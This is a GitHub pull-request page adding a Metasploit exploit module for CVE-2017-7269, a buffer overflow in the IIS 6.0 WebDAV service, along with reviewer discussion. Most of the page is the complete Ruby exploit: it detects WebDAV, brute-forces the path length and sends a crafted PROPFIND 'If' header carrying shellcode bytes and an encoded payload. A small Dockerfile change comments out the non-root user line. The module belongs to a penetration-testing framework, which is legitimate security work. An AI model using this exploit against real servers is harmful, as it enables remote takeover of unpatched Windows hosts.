Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add IIS 6.0 ScStoragePathFromUrl exploit (CVE-2017-7269) (follwoup) #8355

Merged
merged 26 commits into from
May 9, 2017
Merged
Show file tree
Hide file tree
Changes from 21 commits
Commits
Show all changes
26 commits
Select commit Hold shift + click to select a range
9e8ec53
Create cve-2017-7269.rb
dmchell Mar 28, 2017
f7cecaf
Update and rename cve-2017-7269.rb to iis_webdav_ScStoragePathFromUrl.rb
dmchell Mar 28, 2017
20a9b88
Update and rename iis_webdav_ScStoragePathFromUrl.rb to iis_webdav_sc…
dmchell Mar 28, 2017
b301a8d
Update iis_webdav_scstoragepathfromurl.rb
dmchell Mar 28, 2017
1552cc4
Update iis_webdav_scstoragepathfromurl.rb
dmchell Mar 28, 2017
ed90971
Update iis_webdav_scstoragepathfromurl.rb
dmchell Mar 28, 2017
ffdd5fb
Update iis_webdav_scstoragepathfromurl.rb
dmchell Mar 28, 2017
c203fa7
Create iis_webdav_scstoragepathfromurl.rb
cbrnrd Mar 28, 2017
4972b51
Use HttpClient instead of Tcp
cbrnrd Mar 28, 2017
d1c269e
Update iis_webdav_scstoragepathfromurl.rb
cbrnrd Mar 28, 2017
ebbed94
Get rid of double header
cbrnrd Mar 28, 2017
d7bed33
Add Metasploit header
cbrnrd Mar 28, 2017
697d397
Update iis_webdav_scstoragepathfromurl.rb
dmchell Mar 28, 2017
8b3fe0a
Merge branch 'dmchell-cve-2017-7269' into iis_6_sc-dev
dmchell Mar 28, 2017
8f6d069
Merge pull request #2 from thecarterb/iis_6_sc-dev
dmchell Mar 28, 2017
30c4a66
update iis exploit
firefart Apr 3, 2017
46d977d
Merge pull request #3 from FireFart/iis
dmchell Apr 3, 2017
406a7f1
Merge remote-tracking branch 'dmchell/dmchell-cve-2017-7269' into iis2
firefart May 8, 2017
7dccb17
auto extract values and implement brute forcing
firefart May 8, 2017
962a31f
change minimum length
firefart May 8, 2017
2637379
change rank
firefart May 8, 2017
f62ac63
add @rwhitcroft
firefart May 8, 2017
68f61f3
revert accidental test commit
firefart May 8, 2017
8069633
fix fail with condition
firefart May 8, 2017
f70b402
add comment
firefart May 8, 2017
2b4ace9
convert to "screaming snake"
firefart May 9, 2017
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion docker/Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -47,7 +47,7 @@ RUN adduser -g msfconsole -D $MSF_USER

RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)

USER $MSF_USER
# USER $MSF_USER

ADD ./ $APP_HOME

Expand Down
175 changes: 175 additions & 0 deletions modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,175 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => ' Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
'Description' => %q{
Buffer overflow in the ScStoragePathFromUrl function
in the WebDAV service in Internet Information Services (IIS) 6.0
in Microsoft Windows Server 2003 R2 allows remote attackers to
execute arbitrary code via a long header beginning with
"If: <http://" in a PROPFIND request, as exploited in the
wild in July or August 2016.

Original exploit by Zhiniang Peng and Chen Wu.
},
'Author' =>
[
'Zhiniang Peng', # Original author
'Chen Wu', # Original author
'Dominic Chell <dominic@mdsec.co.uk>', # metasploit module
'firefart', # metasploit module
'zcgonvh <zcgonvh@qq.com>' # metasploit module
],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Don't suppose I could get my name back in here?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

oops

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@rwhitcroft sure, what do you want in there? Nickname or real name?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@rwhitcroft found it on the other PR and added it. If you want smth. else, just ping me

'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-7269' ],
[ 'BID', '97127' ],
[ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],
[ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
'DisableNops' => 'True',
'EncoderOptions' =>
{
'BufferRegister' => 'ESI',
}
},
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependMigrate' => true,
},
'Targets' =>
[
[
'Microsoft Windows Server 2003 R2 SP2',
{
'Platform' => 'win',
},
],
],
'Platform' => 'win',
'DisclosureDate' => 'Mar 26 2017',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),
OptInt.new('MinPathLength', [ true, 'Start of physical path brute force', 3 ]),
OptInt.new('MaxPathLength', [ true, 'End of physical path brute force', 60 ]),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

All datastore options should be in capital.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

is this really the case? seeing all kinds of variants in the modules folder. If it's a convention should we add an msftidy check for this? @wvu-r7

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

That's debatable, but yeah, that's typically the case. Normal options are uppercase (I like screaming snake), while advanced options are camel case.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

msftidy can die in a fire.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@wvu-r7 screaming snake made my day haha changed the casing

])
end

def min_path_len
datastore['MinPathLength']
end

def max_path_len
datastore['MaxPathLength']
end

def supports_webdav?(headers)
if headers['MS-Author-Via'] == 'DAV' ||
headers['DASL'] == '<DAV:sql>' ||
headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||
headers['Public'] =~ /PROPFIND/ ||
headers['Allow'] =~ /PROPFIND/
return true
else
return false
end
end

def check
res = send_request_cgi({
'uri' => target_uri.path,
'method' => 'OPTIONS'
})
if res && res.headers['Server'].include?('IIS/6.0') && supports_webdav?(res.headers)
return Exploit::CheckCode::Vulnerable
elsif res && supports_webdav?(res.headers)
return Exploit::CheckCode::Detected
elsif res.nil?
return Exploit::CheckCode::Unknown
else
return Exploit::CheckCode::Safe
end
end

def exploit
# extract the local servername and port from a PROPFIND request
vprint_status("Extracting ServerName and Port")
res = send_request_raw(
'method' => 'PROPFIND',
'headers' => {
'Content-Length' => 0
},
'uri' => target_uri.path
)
fail_with(Failure::BadConfig, "Server does not respond to WebDAV request") unless res || res.code != 207

xml = res.get_xml_document
url = URI.parse(xml.at("//a:response//a:href").text)
server_name = url.hostname
server_port = url.port
server_scheme = url.scheme

http_host = "#{server_scheme}://#{server_name}:#{server_port}"
vprint_status("Using http_host #{http_host}")

min_path_len.upto(max_path_len) do |path_len|
vprint_status("Trying path length of #{path_len}...")

begin
buf1 = "<#{http_host}/"
buf1 << rand_text_alpha(114 - path_len)
buf1 << "\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac"
buf1 << ">"
buf1 << " (Not <locktoken:write1>) <#{http_host}/"
buf1 << rand_text_alpha(114 - path_len)
buf1 << "\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81"
buf1 << payload.encoded
buf1 << ">"

vprint_status("Sending payload")
res = send_request_raw(
'method' => 'PROPFIND',
'headers' => {
'Content-Length' => 0,
'If' => "#{buf1}"
},
'uri' => target_uri.path
)
if res
vprint_status("Server returned #{res.code}")
if res.code == 502 || res.code == 400
next
elsif session_created?
return
else
vprint_status("Unknown Response: #{res.code}")
end
end
rescue ::Errno::ECONNRESET
vprint_status("got a connection reset")
next
end
end
end
end